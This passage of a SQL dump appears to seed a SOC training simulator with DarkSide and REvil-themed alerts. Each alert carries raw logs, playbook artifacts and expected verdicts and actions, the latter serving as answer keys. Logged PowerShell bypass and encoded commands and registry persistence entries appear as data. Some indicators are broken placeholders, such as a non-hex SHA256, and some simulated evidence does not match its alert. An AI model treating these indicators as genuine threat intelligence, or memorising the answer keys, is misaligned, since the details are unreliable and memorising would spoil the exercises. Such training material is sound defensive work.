network.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_records\",\"verdict\":\"suspicious\",\"details\":\"User account used for unauthorized execution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(420, 'Persistence Mechanism Detected', 'high', 'System Logs', 'A persistence mechanism associated with DarkSide has been detected, indicating an attempt to maintain access to the compromised system. The mechanism involves suspicious registry modifications and the presence of known malicious binaries.', 'Persistence', 'T1050 - New Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:32:45Z\",\"host_ip\":\"192.168.1.105\",\"user\":\"john_doe\",\"event_id\":7045,\"event_source\":\"Service Control Manager\",\"service_name\":\"DarkSideService\",\"service_path\":\"C:\\\\Windows\\\\System32\\\\darkside.exe\",\"md5_hash\":\"ae67f4c3d2b5e8a9f5b3d4f0e3a1c9d8\",\"attacker_ip\":\"203.0.113.45\",\"registry_change\":{\"key\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"value_name\":\"DarkSideService\",\"value_data\":\"C:\\\\Windows\\\\System32\\\\darkside.exe\"}}', '2026-01-04 04:13:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address used by DarkSide APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"ae67f4c3d2b5e8a9f5b3d4f0e3a1c9d8\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus total\",\"verdict\":\"malicious\",\"details\":\"MD5 hash associated with DarkSide malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"darkside.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Executable linked to DarkSide operations.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"clean\",\"details\":\"User associated with the compromised system.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.026Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"host_ip\\\":\\\"192.168.1.105\\\",\\\"user\\\":\\\"john_doe\\\",\\\"event_id\\\":7045,\\\"event_source\\\":\\\"Service Control Manager\\\",\\\"service_name\\\":\\\"DarkSideService\\\",\\\"service_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\darkside.exe\\\",\\\"md5_hash\\\":\\\"ae67f4c3d2b5e8a9f5b3d4f0e3a1c9d8\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"registry_change\\\":{\\\"key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"DarkSideService\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\darkside.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:19.026Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"host_ip\\\":\\\"192.168.1.105\\\",\\\"user\\\":\\\"john_doe\\\",\\\"event_id\\\":7045,\\\"event_source\\\":\\\"Service Control Manager\\\",\\\"service_name\\\":\\\"DarkSideService\\\",\\\"service_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\darkside.exe\\\",\\\"md5_hash\\\":\\\"ae67f4c3d2b5e8a9f5b3d4f0e3a1c9d8\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"registry_change\\\":{\\\"key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"DarkSideService\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\darkside.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:19.026Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"host_ip\\\":\\\"192.168.1.105\\\",\\\"user\\\":\\\"john_doe\\\",\\\"event_id\\\":7045,\\\"event_source\\\":\\\"Service Control Manager\\\",\\\"service_name\\\":\\\"DarkSideService\\\",\\\"service_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\darkside.exe\\\",\\\"md5_hash\\\":\\\"ae67f4c3d2b5e8a9f5b3d4f0e3a1c9d8\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"registry_change\\\":{\\\"key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"DarkSideService\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\darkside.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:19.026Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"host_ip\\\":\\\"192.168.1.105\\\",\\\"user\\\":\\\"john_doe\\\",\\\"event_id\\\":7045,\\\"event_source\\\":\\\"Service Control Manager\\\",\\\"service_name\\\":\\\"DarkSideService\\\",\\\"service_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\darkside.exe\\\",\\\"md5_hash\\\":\\\"ae67f4c3d2b5e8a9f5b3d4f0e3a1c9d8\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"registry_change\\\":{\\\"key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"DarkSideService\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\darkside.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:19.026Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"host_ip\\\":\\\"192.168.1.105\\\",\\\"user\\\":\\\"john_doe\\\",\\\"event_id\\\":7045,\\\"event_source\\\":\\\"Service Control Manager\\\",\\\"service_name\\\":\\\"DarkSideService\\\",\\\"service_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\darkside.exe\\\",\\\"md5_hash\\\":\\\"ae67f4c3d2b5e8a9f5b3d4f0e3a1c9d8\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"registry_change\\\":{\\\"key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"DarkSideService\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\darkside.exe\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(421, 'Unauthorized Admin Access', 'high', 'Network Traffic Analysis', 'The attackers use escalated privileges to move laterally within the network, targeting systems that control pipeline operations. Network logs indicate unauthorized login attempts to admin accounts from suspicious external IPs.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T07:45:22Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.12\",\"username\":\"admin_user\",\"success\":true,\"action\":\"login\",\"description\":\"Successful login using administrative credentials from external IP.\",\"alert\":\"Unauthorized Admin Access Detected\",\"hashes\":{\"sha256\":\"d2d2d2d2b2b2c2c2f2f2g2g2h2h2i2i2j2j2k2k2l2l2m2m2n2n2o2o2p2p2\"}}', '2026-01-04 04:13:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"Account used for unauthorized access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d2d2d2d2b2b2c2c2f2f2g2g2h2h2i2i2j2j2k2k2l2l2m2m2n2n2o2o2p2p2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified in connection with APT attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(422, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) Systems', 'In the final stage, DarkSide attempts to exfiltrate sensitive operational data, which could be used for ransom or sold on the black market. The DLP system detected an unauthorized data transfer to an external IP address.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"file_hash\":\"f3b9e2c6f8d3c2d7f8c3b3e5a5e6d7c8\",\"filename\":\"OperationalData_Backup.zip\",\"protocol\":\"HTTPS\",\"action\":\"blocked\",\"alert_id\":\"DLPS-5678-EXF\"}', '2026-01-04 04:13:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known IP address used by DarkSide for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f3b9e2c6f8d3c2d7f8c3b3e5a5e6d7c8\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with suspicious data exfiltration files.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"OperationalData_Backup.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Filename suggests sensitive data being exfiltrated.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"User account potentially compromised for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.028Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"f3b9e2c6f8d3c2d7f8c3b3e5a5e6d7c8\\\",\\\"filename\\\":\\\"OperationalData_Backup.zip\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLPS-5678-EXF\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.028Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"f3b9e2c6f8d3c2d7f8c3b3e5a5e6d7c8\\\",\\\"filename\\\":\\\"OperationalData_Backup.zip\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLPS-5678-EXF\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.028Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"f3b9e2c6f8d3c2d7f8c3b3e5a5e6d7c8\\\",\\\"filename\\\":\\\"OperationalData_Backup.zip\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLPS-5678-EXF\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.028Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"f3b9e2c6f8d3c2d7f8c3b3e5a5e6d7c8\\\",\\\"filename\\\":\\\"OperationalData_Backup.zip\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLPS-5678-EXF\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.028Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"f3b9e2c6f8d3c2d7f8c3b3e5a5e6d7c8\\\",\\\"filename\\\":\\\"OperationalData_Backup.zip\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLPS-5678-EXF\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(423, 'Unusual Phishing Email Detected', 'medium', 'Email Gateway Logs', 'An employee received a phishing email with a malicious attachment, indicative of REvil\'s initial access strategy. The email originated from a suspicious IP and contained a known malicious file hash.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-17T08:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"sender_email\":\"attacker@maliciousdomain.com\",\"recipient_email\":\"j.doe@company.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":{\"filename\":\"invoice_update.docm\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"},\"user\":\"j.doe\",\"message_id\":\"<20231017083245.123456@maliciousdomain.com>\"}', '2026-01-04 04:25:30', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email domain flagged for sending phishing emails.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious document used by REvil.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice_update.docm\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename pattern common in phishing attachments.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Internal employee targeted by phishing attempt.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Unusual Phishing Email Detected\",\"date\":\"2026-02-01T20:32:19.029Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(424, 'Suspicious PowerShell Script Execution', 'high', 'Endpoint Detection and Response (EDR) System', 'A PowerShell script was executed on the endpoint, potentially indicating malicious activity consistent with REvil ransomware tactics. The script was observed executing commands to download additional payloads from a known malicious IP.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T13:45:27Z\",\"event_id\":\"4624\",\"computer_name\":\"DESKTOP-3FQ7K9R\",\"user\":\"johndoe\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell -NoProfile -ExecutionPolicy Bypass -File C:\\\\Users\\\\johndoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":\"443\",\"filename\":\"malicious_script.ps1\"}', '2026-01-04 04:25:30', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with REvil ransomware\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash associated with REvil ransomware payload\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual script execution in user temp directory\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"johndoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Known user account on the network\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(425, 'Persistence Mechanism Established', 'high', 'Registry Changes Monitoring', 'The REvil ransomware has established persistence by modifying registry keys, ensuring they retain access after a system reboot. This action is indicative of a sophisticated attack aimed at maintaining long-term access to the compromised system.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T02:15:45Z\",\"event_id\":\"4624\",\"event_type\":\"Registry Change Detected\",\"host\":\"compromised-host.local\",\"user\":\"administrator\",\"ip_address\":\"192.168.1.10\",\"external_ip\":\"185.92.220.65\",\"registry_key\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\maliciousApp\",\"registry_value\":\"C:\\\\ProgramData\\\\REvil\\\\malicious.exe\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"description\":\"Registry key modified to establish persistence by REvil malware.\"}', '2026-01-04 04:25:33', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.92.220.65\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious_ip_database\",\"verdict\":\"malicious\",\"details\":\"Identified as a command and control server related to REvil activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_hash_registry\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with REvil ransomware executable.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.031Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:15:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Registry Change Detected\\\",\\\"host\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"administrator\\\",\\\"ip_address\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"185.92.220.65\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\maliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\REvil\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"description\\\":\\\"Registry key modified to establish persistence by REvil malware.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.031Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:15:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Registry Change Detected\\\",\\\"host\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"administrator\\\",\\\"ip_address\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"185.92.220.65\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\maliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\REvil\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"description\\\":\\\"Registry key modified to establish persistence by REvil 